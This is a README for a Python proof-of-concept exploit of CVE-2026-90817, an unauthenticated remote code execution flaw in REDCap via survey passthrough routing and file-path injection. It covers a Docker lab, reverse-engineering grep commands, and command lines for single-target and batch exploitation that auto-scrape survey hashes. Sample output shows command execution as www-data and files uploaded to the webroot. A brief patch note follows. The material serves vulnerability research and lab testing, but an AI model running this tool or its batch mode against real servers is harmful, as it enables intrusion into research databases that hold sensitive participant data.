
Python PoC for CVE-2026-90817, an unauthenticated REDCap RCE via survey passthrough routing and file-path injection, with a Docker lab and allowlist-guarded targets.
| Field | Value |
|---|
| CVE | CVE-2026-90817 |
| Product | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| Auth | Unauthenticated (requires valid public survey hash) |
| Affected | REDCap 13.3.0 and higher |
| Fixed | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (External Control of File Name or Path), CWE-94 (Code Injection) |
Attack chain:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (single-target, allowlist-guarded)
├── docker-compose.yml # MySQL + PHP-Apache lab stack
├── redcap-init/
│ ├── database.php # REDCap DB config for lab
│ └── php.ini # PHP settings for lab
├── redcap-src/ # <-- extract REDCap source here (you provide)
├── targets.txt # Authorized targets: one host per line
├── payload.txt # Sample file for upload mode
├── requirements.txt # Python dependencies
└── poc_results.txt # Generated after PoC run
REDCap is licensed software. You must obtain it through official channels for your own lab.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Wait for MySQL healthcheck to pass, then open:
http://localhost:8080
Complete the REDCap installation wizard using these database settings (pre-configured in redcap-init/database.php):
| Setting | Value |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Example survey URL:
http://localhost:8080/surveys/?s=ABC123XYZ
Survey hash: ABC123XYZ
The public advisory does not disclose the exact controller route or parameter name. After setting up your lab, perform RE on redcap-src/ and fill the TODO constants in poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Search for survey passthrough routing:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Search for Data Import file-path/stream handling:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Set STAGE1_SUCCESS_MARKER to a string present in a successful stage-1 response (optional but recommended).
pip install -r requirements.txt
The script refuses targets that are neither lab hosts (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) nor listed in targets.txt.
CVE-2026-90817 is unauthenticated — no login is needed. The only pre-condition is a valid public survey hash (from the survey URL ?s=HASH).
The tool can auto-discover the survey hash by scraping public pages of the target (best-effort). It checks common REDCap endpoints (/, /redcap/, /index.php, /surveys/) for /surveys/?s=HASH links. This only works if the target publicly exposes survey links (misconfigured). For properly configured REDCap instances, supply the hash manually via --hash.
--hash is optional (auto-discover if omitted)For non-lab targets, create targets.txt with one host per line (FQDN or IP). You are responsible for legal authorization of every host listed.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Lab target with explicit hash:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Lab target with auto-discovered hash:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Add --batch to exploit every host listed in targets.txt automatically. The tool auto-discovers the survey hash per target by scraping public pages. The tool prints all targets and asks for confirmation before starting (use --yes to skip the prompt for scripting).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
The port is inherited from --target (default 8080). To use a different port, set --target http://placeholder:443/ before --batch.
Each target's result is appended to the output file. A summary is printed at the end: N success, M failed, T total.
| Argument | Default | Description |
|---|---|---|
--target | http://localhost:8080 | Target base URL |
--hash | (optional) | Public survey hash. If omitted, auto-discovered by scraping public pages (best-effort). |
--allowlist | targets.txt | Targets file, one host per line |
--batch | off | Iterate over all hosts in targets file and exploit each |
--yes | off | Skip the batch confirmation prompt |
--mode | both | id, upload, or both |
--out | poc_results.txt | Result log file |
--timeout | 30 | HTTP timeout (seconds) |
--upload-local | payload.txt | Local file to upload |
--upload-remote | uploaded_payload.txt | Remote filename under webroot |
--skip-placeholder-check | off | Dry-run HTTP flow without filled TODO constants |
Note: auto-discovery only works on targets that publicly expose survey links. For most REDCap instances, supply --hash manually.
On success, stdout shows:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
Results are appended to poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Upgrade to REDCap 16.0.49 LTS, 17.3.10 LTS, or 17.4.4 Standard Release (as applicable).
Additional hardening: